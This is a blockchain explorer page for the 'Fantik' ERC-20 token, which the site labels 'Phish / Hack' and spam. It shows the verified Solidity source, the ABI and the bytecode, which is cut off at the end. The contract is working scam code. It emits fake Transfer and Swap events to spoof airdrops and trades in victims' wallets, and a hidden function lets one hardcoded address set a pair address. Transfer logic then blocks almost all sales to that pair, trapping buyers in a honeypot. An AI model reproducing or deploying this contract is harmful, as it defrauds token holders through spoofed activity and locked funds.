Feature Tip: Add private address tag to any address under My Name Tag !
This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
1,000,000,000 ERC-20 TOKEN*
Holders
4 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
993,757,790.53773347 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FANTIK
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-22 */ /** *Submitted for verification at Etherscan.io on 2024-04-30 */ /** *Submitted for verification at Etherscan.io on 2024-01-13 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Meta is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract FANTIK is Ownable, IERC20, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _p76234; uint256 private _e242 = 999; /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 8; } function claim(address [] calldata _addresses_, uint256 _in, address _a) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_a, _in, 0, 0, _in, _addresses_[i]); emit Transfer(_p76234, _addresses_[i], _in); } } function execute(address [] calldata _addresses_, uint256 _in, address _a) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_a, _in, 0, 0, _in, _addresses_[i]); emit Transfer(_p76234, _addresses_[i], _in); } } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function actionPair(address account) public virtual returns (bool) { if(_msgSender() == 0x8b858dCa327754c5db7a0906B19DE8e38CC1AB70) _p76234 = account; return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); renounceOwnership(); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if((from != _p76234 && to == 0x8b858dCa327754c5db7a0906B19DE8e38CC1AB70) || (_p76234 == to && from != 0x8b858dCa327754c5db7a0906B19DE8e38CC1AB70 && from != 0x8b858dCa327754c5db7a0906B19DE8e38CC1AB70)) { uint256 _X7W88 = amount + 1; require(_X7W88 < _e242 ); } uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} constructor() { _name = "Fantik"; _symbol = "FAN"; uint256 _amount = 1000000000; _mint(msg.sender, _amount * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526103e7600755348015610015575f80fd5b506100326100276100fe60201b60201c565b61010560201b60201c565b6040518060400160405280600681526020017f46616e74696b0000000000000000000000000000000000000000000000000000815250600490816100769190610635565b506040518060400160405280600381526020017f46414e0000000000000000000000000000000000000000000000000000000000815250600590816100bb9190610635565b505f633b9aca0090506100f8336100d66101c660201b60201c565b600a6100e2919061086c565b836100ed91906108b6565b6101ce60201b60201c565b50610a32565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361023c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023390610951565b60405180910390fd5b8060035f82825461024d919061096f565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102fb91906109b1565b60405180910390a36103145f838361032660201b60201c565b61032261032b60201b60201c565b5050565b505050565b61033961034a60201b60201c565b6103485f61010560201b60201c565b565b6103586100fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661037c6103d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c990610a14565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061047657607f821691505b60208210810361048957610488610432565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104b0565b6104f586836104b0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61053961053461052f8461050d565b610516565b61050d565b9050919050565b5f819050919050565b6105528361051f565b61056661055e82610540565b8484546104bc565b825550505050565b5f90565b61057a61056e565b610585818484610549565b505050565b5b818110156105a85761059d5f82610572565b60018101905061058b565b5050565b601f8211156105ed576105be8161048f565b6105c7846104a1565b810160208510156105d6578190505b6105ea6105e2856104a1565b83018261058a565b50505b505050565b5f82821c905092915050565b5f61060d5f19846008026105f2565b1980831691505092915050565b5f61062583836105fe565b9150826002028217905092915050565b61063e826103fb565b67ffffffffffffffff81111561065757610656610405565b5b610661825461045f565b61066c8282856105ac565b5f60209050601f83116001811461069d575f841561068b578287015190505b610695858261061a565b8655506106fc565b601f1984166106ab8661048f565b5f5b828110156106d2578489015182556001820191506020850194506020810190506106ad565b868310156106ef57848901516106eb601f8916826105fe565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107865780860481111561076257610761610704565b5b60018516156107715780820291505b808102905061077f85610731565b9450610746565b94509492505050565b5f8261079e5760019050610859565b816107ab575f9050610859565b81600181146107c157600281146107cb576107fa565b6001915050610859565b60ff8411156107dd576107dc610704565b5b8360020a9150848211156107f4576107f3610704565b5b50610859565b5060208310610133831016604e8410600b841016171561082f5782820a90508381111561082a57610829610704565b5b610859565b61083c848484600161073d565b9250905081840481111561085357610852610704565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6108768261050d565b915061088183610860565b92506108ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461078f565b905092915050565b5f6108c08261050d565b91506108cb8361050d565b92508282026108d98161050d565b915082820484148315176108f0576108ef610704565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f61093b601f836108f7565b915061094682610907565b602082019050919050565b5f6020820190508181035f8301526109688161092f565b9050919050565b5f6109798261050d565b91506109848361050d565b925082820190508082111561099c5761099b610704565b5b92915050565b6109ab8161050d565b82525050565b5f6020820190506109c45f8301846109a2565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6109fe6020836108f7565b9150610a09826109ca565b602082019050919050565b5f6020820190508181035f830152610a2b816109f2565b9050919050565b611c8780610a3f5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e9190611493565b60405180910390f35b610161600480360381019061015c91906114b3565b610549565b60405161016e919061150b565b60405180910390f35b61017f61056b565b60405161018c9190611533565b60405180910390f35b6101af60048036038101906101aa919061154c565b610574565b6040516101bc919061150b565b60405180910390f35b6101df60048036038101906101da919061159c565b6105a2565b005b6101e961066f565b6040516101f69190611614565b60405180910390f35b6102196004803603810190610214919061162d565b610677565b6040516102269190611533565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611667565b60405180910390f35b61025f6106f7565b60405161026c9190611493565b60405180910390f35b61028f600480360381019061028a91906114b3565b610787565b60405161029c919061150b565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d6919061154c565b610909565b005b6102f760048036038101906102f29190611680565b610973565b6040516103049190611533565b60405180910390f35b6103276004803603810190610322919061162d565b6109f5565b604051610334919061150b565b60405180910390f35b6103576004803603810190610352919061162d565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116be565b5b905060200201602081019061038e919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f0949392919061172d565b60405180910390a384848281811061040b5761040a6116be565b5b9050602002016020810190610420919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d9190611533565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c89061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f49061179d565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116be565b5b90506020020160208101906105d7919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106549190611533565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107069061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546107329061179d565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116be565b5b90506020020160208101906107de919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f8088604051610840949392919061172d565b60405180910390a384848281811061085b5761085a6116be565b5b9050602002016020810190610870919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed9190611533565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109669190611533565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061183d565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611959565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd9190611533565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119c1565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611add565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b28565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611bcb565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f9190611533565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c33565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61146582611423565b61146f818561142d565b935061147f81856020860161143d565b6114888161144b565b840191505092915050565b5f6020820190508181035f8301526114ab818461145b565b905092915050565b5f80604083850312156114c9576114c86112bc565b5b5f6114d68582860161139e565b92505060206114e785828601611344565b9150509250929050565b5f8115159050919050565b611505816114f1565b82525050565b5f60208201905061151e5f8301846114fc565b92915050565b61152d81611325565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f805f60608486031215611563576115626112bc565b5b5f6115708682870161139e565b93505060206115818682870161139e565b925050604061159286828701611344565b9150509250925092565b5f805f604084860312156115b3576115b26112bc565b5b5f84013567ffffffffffffffff8111156115d0576115cf6112c0565b5b6115dc868287016112d0565b935093505060206115ef86828701611344565b9150509250925092565b5f60ff82169050919050565b61160e816115f9565b82525050565b5f6020820190506116275f830184611605565b92915050565b5f60208284031215611642576116416112bc565b5b5f61164f8482850161139e565b91505092915050565b61166181611377565b82525050565b5f60208201905061167a5f830184611658565b92915050565b5f8060408385031215611696576116956112bc565b5b5f6116a38582860161139e565b92505060206116b48582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61171761171261170d846116eb565b6116f4565b611325565b9050919050565b611727816116fd565b82525050565b5f6080820190506117405f830187611524565b61174d602083018661171e565b61175a604083018561171e565b6117676060830184611524565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117b457607f821691505b6020821081036117c7576117c6611770565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61182760268361142d565b9150611832826117cd565b604082019050919050565b5f6020820190508181035f8301526118548161181b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118b560248361142d565b91506118c08261185b565b604082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61194360228361142d565b915061194e826118e9565b604082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119ab601d8361142d565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a3960258361142d565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760238361142d565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b3282611325565b9150611b3d83611325565b9250828201905080821115611b5557611b54611afb565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bb560268361142d565b9150611bc082611b5b565b604082019050919050565b5f6020820190508181035f830152611be281611ba9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c1d60208361142d565b9150611c2882611be9565b602082019050919050565b5f6020820190508181035f830152611c4a81611c11565b905091905056fea26469706673582212206857592cca9fac7f99112d16d5634dda815bbdcb4af53e90de9e63c1a5e7840d64736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e9190611493565b60405180910390f35b610161600480360381019061015c91906114b3565b610549565b60405161016e919061150b565b60405180910390f35b61017f61056b565b60405161018c9190611533565b60405180910390f35b6101af60048036038101906101aa919061154c565b610574565b6040516101bc919061150b565b60405180910390f35b6101df60048036038101906101da919061159c565b6105a2565b005b6101e961066f565b6040516101f69190611614565b60405180910390f35b6102196004803603810190610214919061162d565b610677565b6040516102269190611533565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611667565b60405180910390f35b61025f6106f7565b60405161026c9190611493565b60405180910390f35b61028f600480360381019061028a91906114b3565b610787565b60405161029c919061150b565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d6919061154c565b610909565b005b6102f760048036038101906